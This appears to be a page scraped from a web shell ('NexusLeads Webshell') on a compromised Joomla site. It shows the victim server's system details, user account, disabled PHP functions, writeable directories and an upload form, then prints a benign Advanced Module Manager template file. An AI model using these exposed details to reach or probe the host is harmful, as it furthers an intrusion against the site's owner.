NexusLeads Webshell
NexusLeads


Server : LiteSpeed
System : Linux server 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : alsaif ( 1057)
PHP Version : 7.4.33
Disable Function : show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/alsaif/public_html/components/com_advancedmodules/views/edit/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alsaif/public_html/components/com_advancedmodules/views/edit/tmpl/edit.php
<?php
/**
 * @package         Advanced Module Manager
 * @version         9.9.0
 * 
 * @author          Peter van Westen <info@regularlabs.com>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Layout\LayoutHelper as JLayoutHelper;
use Joomla\CMS\Router\Route as JRoute;
use Joomla\CMS\Uri\Uri as JUri;
use RegularLabs\Library\Document as RL_Document;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('jquery.framework');
JHtml::_('bootstrap.framework');
JHtml::_('behavior.formvalidator');
JHtml::_('behavior.combobox');
JHtml::_('formbehavior.chosen', 'select');

$hasContent          = empty($this->item->module) || isset($this->item->xml->customContent);
$hasContentFieldName = 'content';

// For a later improvement
if ($hasContent)
{
    $hasContentFieldName = 'content';
}

// Get Params Fieldsets
$this->fieldsets     = $this->form->getFieldsets('params');
$this->hidden_fields = '';

$uri = JUri::getInstance();

$script = "
Joomla.submitbutton = function(task)
{
    if (task == 'module.cancel' || document.formvalidator.isValid(document.id('module-form'))) {
        " . ($hasContent ? $this->form->getField($hasContentFieldName)->save() : '') . "
        Joomla.submitform(task, document.getElementById('module-form'));
                if (self != top)
                {
                    window.top.setTimeout('window.parent.SqueezeBox.close();', 1000);
                }
            }
    };
    jQuery(document).ready(function(){
        jQuery('button.rl_remove_assignment').remove();
    });";

JFactory::getDocument()->addScriptDeclaration($script);
RL_Document::loadFormDependencies();

JFactory::getDocument()->addStyleSheetVersion(JUri::root(true) . '/media/regularlabs/css/frontend.min.css');
?>

<form action="<?php echo JRoute::_('index.php?option=com_advancedmodules&view=edit&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm"
      id="module-form" class="form-validate">

    <div class="row-fluid">

        <!-- Begin Content -->
        <div class="span12">

            <h1 class="page_title">
                <?php echo JText::sprintf('AMM_MODULE_EDIT', $this->item->title . ' <span class="label label-default">' . $this->item->module . '</span>'); ?>
            </h1>

            <div class="btn-toolbar">
                <div class="btn-group">
                    <button type="button" class="btn btn-default btn-primary"
                            onclick="Joomla.submitbutton('module.apply')">
                        <i class="icon-apply"></i>
                        <?php echo JText::_('JAPPLY') ?>
                    </button>
                </div>
                <div class="btn-group">
                    <button type="button" class="btn btn-default"
                            onclick="Joomla.submitbutton('module.save')">
                        <i class="icon-save"></i>
                        <?php echo JText::_('JSAVE') ?>
                    </button>
                </div>
                <div class="btn-group">
                    <button type="button" class="btn btn-default"
                            onclick="Joomla.submitbutton('module.cancel')">
                        <i class="icon-cancel"></i>
                        <?php echo JText::_('JCANCEL') ?>
                    </button>
                </div>
            </div>

            <hr class="hr-condensed">

            <div class="row-fluid">
                <div class="span12">
                    <fieldset class="form-horizontal">
                        <div class="control-group">
                            <div class="control-label">
                                <?php echo $this->form->getLabel('title'); ?>
                            </div>
                            <div class="controls">
                                <?php echo str_replace('input-xxlarge', '', $this->form->getInput('title')); ?>
                            </div>
                        </div>

                        <?php
                        if ($hasContent)
                        {
                            echo '<hr>' . $this->form->getInput($hasContentFieldName) . '<hr>';
                        }

                        $this->fieldset = 'basic';
                        $html           = JLayoutHelper::render('joomla.edit.fieldset', $this);
                        echo $html ? $html . '<hr>' : '';
                        ?>

                        <?php echo $this->form->getControlGroup('showtitle'); ?>
                        <div class="control-group">
                            <div class="control-label">
                                <?php echo $this->form->getLabel('position'); ?>
                            </div>
                            <div class="controls">
                                <?php echo $this->loadTemplate('positions'); ?>
                            </div>
                        </div>
                    </fieldset>
                    <?php
                    // Set main fields.
                    $this->fields = [
                        'published',
                        'access',
                        'ordering',
                        'note',
                    ];
                    ?>
                    <?php echo str_replace('form-vertical', 'form-horizontal', JLayoutHelper::render('joomla.edit.global', $this)); ?>
                    <fieldset class="form-horizontal">
                        <?php if ($this->item->client_id == 0) : ?>
                            <?php echo $this->render($this->assignments, 'pre_post_html'); ?>
                        <?php endif; ?>
                        <?php if ($this->item->client_id == 0 && $this->config->use_hideempty) : ?>
                            <?php echo $this->render($this->assignments, 'hideempty'); ?>
                        <?php endif; ?>
                    </fieldset>

                    <?php echo JHtml::_('bootstrap.startAccordion', 'moduleSlide'); ?>

                    <?php if ($this->item->client_id == 0) : ?>
                        <?php echo JHtml::_('bootstrap.addSlide', 'moduleSlide', JText::_('AMM_ASSIGNMENTS'), 'assignment'); ?>
                        <?php echo $this->loadTemplate('assignment'); ?>
                        <?php echo JHtml::_('bootstrap.endSlide'); ?>
                    <?php endif; ?>

                    <div class="form-horizontal">
                        <?php
                        $this->fieldsets        = [];
                        $this->ignore_fieldsets = ['basic', 'description'];
                        echo JLayoutHelper::render('joomla.edit.params', $this);
                        ?>
                    </div>

                    <?php echo JHtml::_('bootstrap.endAccordion'); ?>

                </div>
            </div>

            <div class="btn-toolbar">
                <div class="btn-group">
                    <button type="button" class="btn btn-default btn-primary"
                            onclick="Joomla.submitbutton('module.apply')">
                        <i class="icon-apply"></i>
                        <?php echo JText::_('JAPPLY') ?>
                    </button>
                </div>
                <div class="btn-group">
                    <button type="button" class="btn btn-default"
                            onclick="Joomla.submitbutton('module.save')">
                        <i class="icon-save"></i>
                        <?php echo JText::_('JSAVE') ?>
                    </button>
                </div>
                <div class="btn-group">
                    <button type="button" class="btn btn-default"
                            onclick="Joomla.submitbutton('module.cancel')">
                        <i class="icon-cancel"></i>
                        <?php echo JText::_('JCANCEL') ?>
                    </button>
                </div>
            </div>

        </div>
        <!-- End Content -->
    </div>

    <?php echo $this->hidden_fields; ?>

    <input type="hidden" name="task" value="">
    <input type="hidden" name="current" value="<?php echo base64_encode($uri->toString()); ?>">
    <input type="hidden" name="return" value="<?php echo JFactory::getApplication()->input->get('return', null, 'base64'); ?>">
    <?php echo JHtml::_('form.token'); ?>
    <?php echo $this->form->getInput('module'); ?>
    <?php echo $this->form->getInput('client_id'); ?>
</form>

NexusLeads